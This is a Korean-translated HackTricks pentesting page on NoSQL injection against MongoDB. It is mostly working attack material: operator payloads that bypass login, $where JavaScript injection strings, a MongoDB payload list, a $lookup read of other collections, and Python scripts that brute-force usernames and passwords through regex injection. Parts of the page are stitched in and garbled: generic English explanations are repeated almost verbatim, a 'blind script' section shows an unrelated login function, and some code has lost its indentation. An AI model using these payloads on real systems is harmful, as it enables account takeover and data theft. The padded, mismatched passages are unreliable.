hacktricks/pentesting-web/nosql-injection.md
2024-02-10 21:30:13 +00:00

20 KiB

NoSQL 인젝션


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화할 수 있습니다.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Exploit

PHP에서는 전송된 매개변수를 _parameter=foo_에서 _parameter[arrName]=foo_로 변경하여 배열을 보낼 수 있습니다.

이 익스플로잇은 연산자를 추가함으로써 기반으로 합니다:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

기본 인증 우회

같지 않음 ($ne) 또는 크거나 같음 ($gt) 사용하기

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - 몽고DB

NoSQL Injection

What is NoSQL Injection?

NoSQL Injection is a type of attack that targets NoSQL databases, such as MongoDB. It is similar to SQL Injection, but instead of exploiting vulnerabilities in SQL queries, it exploits vulnerabilities in NoSQL queries.

How does NoSQL Injection work?

NoSQL Injection works by manipulating the input data in a way that the NoSQL query behaves unexpectedly. This can be done by injecting malicious code or by exploiting weak input validation.

Common NoSQL Injection Techniques
  1. Query Parameter Manipulation: Attackers can manipulate query parameters to modify the behavior of the NoSQL query. For example, by injecting a $gt operator, an attacker can bypass authentication checks.

  2. JavaScript Injection: NoSQL databases often use JavaScript as their query language. Attackers can inject JavaScript code to execute arbitrary commands or perform unauthorized operations.

  3. Regular Expression Injection: NoSQL databases use regular expressions for pattern matching. Attackers can inject malicious regular expressions to manipulate the query results.

  4. Command Injection: Attackers can inject operating system commands into the NoSQL query. This can lead to remote code execution or unauthorized access to the underlying system.

Preventing NoSQL Injection

To prevent NoSQL Injection, it is important to follow secure coding practices:

  1. Input Validation: Validate and sanitize all user input to prevent malicious code injection.

  2. Parameterized Queries: Use parameterized queries or prepared statements to ensure that user input is treated as data and not as executable code.

  3. Least Privilege Principle: Limit the privileges of the database user to minimize the impact of a successful injection attack.

  4. Secure Configuration: Configure the NoSQL database with secure settings, such as disabling unnecessary features and enabling authentication.

  5. Regular Updates: Keep the NoSQL database and its dependencies up to date with the latest security patches.

Conclusion

NoSQL Injection is a serious security vulnerability that can lead to unauthorized access, data leakage, and remote code execution. By following secure coding practices and regularly updating the NoSQL database, you can mitigate the risk of NoSQL Injection attacks.

query = { $where: `this.username == '${username}'` }

공격자는 admin' || 'a'=='a와 같은 문자열을 입력하여 쿼리가 조건을 충족시키는 모든 문서를 반환하도록 만들어 이를 악용할 수 있습니다 ('a'=='a'와 같은 타우톨로지를 사용하여). 이는 SQL 인젝션 공격과 유사한 원리로 작동합니다. SQL 쿼리를 조작하기 위해 ' or 1=1-- -와 같은 입력을 사용하는 것과 유사하게, MongoDB에서도 ' || 1==1//, ' || 1==1%00, 또는 admin' || 'a'=='a와 같은 입력을 사용하여 비슷한 인젝션을 수행할 수 있습니다.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

길이 정보 추출

To extract the length of a field in a NoSQL database, you can use the $where operator along with JavaScript code. The JavaScript code should return the length of the field you want to extract.

db.collection.find({ $where: "this.field.length == 10" })

Replace collection with the name of the collection you want to query, and field with the name of the field you want to extract the length from. Adjust the length value (10 in the example) according to your needs.

This technique can be useful in NoSQL injection attacks to gather information about the structure and content of the database.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

데이터 정보 추출

NoSQL databases, such as MongoDB, often use non-relational data models, making them susceptible to NoSQL injection attacks. In a NoSQL injection attack, an attacker manipulates the input to exploit vulnerabilities in the application's query logic.

To extract data from a NoSQL database, an attacker can use techniques such as:

  1. Boolean-based exploitation: The attacker crafts a payload that evaluates to true, allowing them to retrieve data from the database.

  2. Time-based exploitation: The attacker introduces delays in the query execution to infer information about the data.

  3. Error-based exploitation: The attacker triggers errors in the query to obtain data from the error messages.

  4. Blind exploitation: The attacker uses techniques like binary search or time delays to extract data without receiving direct responses from the application.

To prevent NoSQL injection attacks, it is essential to:

  • Sanitize user input: Validate and sanitize user input to prevent malicious queries.

  • Use parameterized queries: Utilize parameterized queries or prepared statements to separate data from the query logic.

  • Implement access controls: Restrict user privileges and limit access to sensitive data.

  • Keep software up to date: Regularly update the database software and libraries to patch any known vulnerabilities.

By understanding and implementing these preventive measures, you can protect your NoSQL databases from potential data leaks and unauthorized access.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - 몽고DB

NoSQL Injection

What is NoSQL Injection?

NoSQL Injection is a type of attack that targets NoSQL databases, such as MongoDB. It is similar to SQL Injection, but instead of exploiting vulnerabilities in SQL queries, it exploits vulnerabilities in NoSQL queries.

How does NoSQL Injection work?

NoSQL Injection works by manipulating the input data in a way that the NoSQL query behaves unexpectedly. This can be done by injecting malicious code or by exploiting weak input validation.

Common NoSQL Injection Techniques
  1. Query Parameter Manipulation: Attackers can manipulate query parameters to modify the behavior of the NoSQL query. For example, by injecting a $gt operator, an attacker can bypass authentication checks.

  2. JavaScript Injection: NoSQL databases often use JavaScript as their query language. Attackers can inject JavaScript code to execute arbitrary commands or perform unauthorized operations.

  3. Regular Expression Injection: NoSQL databases use regular expressions for pattern matching. Attackers can inject malicious regular expressions to manipulate the query results or perform unintended operations.

Preventing NoSQL Injection

To prevent NoSQL Injection, it is important to follow secure coding practices:

  1. Input Validation: Validate and sanitize all user input to prevent malicious code injection.

  2. Parameterized Queries: Use parameterized queries or prepared statements to ensure that user input is treated as data and not as executable code.

  3. Least Privilege Principle: Limit the privileges of the database user to minimize the potential impact of an injection attack.

  4. Secure Configuration: Configure the database server securely, including proper authentication and access controls.

Conclusion

NoSQL Injection is a serious security vulnerability that can lead to unauthorized access, data manipulation, and other malicious activities. By following secure coding practices and regularly updating the database software, you can mitigate the risk of NoSQL Injection attacks.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP 임의 함수 실행

기본적으로 사용되는 MongoLite 라이브러리의 $func 연산자를 사용하여 이 보고서와 같이 임의의 함수를 실행할 수 있습니다.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

다른 컬렉션에서 정보 가져오기

$lookup을 사용하여 다른 컬렉션에서 정보를 가져올 수 있습니다. 다음 예제에서는 **users**라는 다른 컬렉션에서 읽고, 와일드카드와 일치하는 비밀번호를 가진 모든 항목의 결과를 가져옵니다.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB 페이로드

여기에서 목록을 확인하세요.

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

블라인드 NoSQL 스크립트

function checkPassword(username, password) {
    var query = { username: username, password: password };
    var result = db.users.find(query);
    if (result.length > 0) {
        return true;
    } else {
        return false;
    }
}

이 스크립트는 사용자 이름과 비밀번호를 확인하는 NoSQL 데이터베이스의 함수입니다. 함수는 주어진 사용자 이름과 비밀번호를 사용하여 데이터베이스에서 사용자를 찾습니다. 결과가 있으면 true를 반환하고, 그렇지 않으면 false를 반환합니다.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

POST 로그인에서 로그인 사용자 이름과 비밀번호 무차별 대입하기

이것은 당신이 수정할 수 있는 간단한 스크립트입니다. 하지만 이전 도구들도 이 작업을 수행할 수 있습니다.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

도구

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}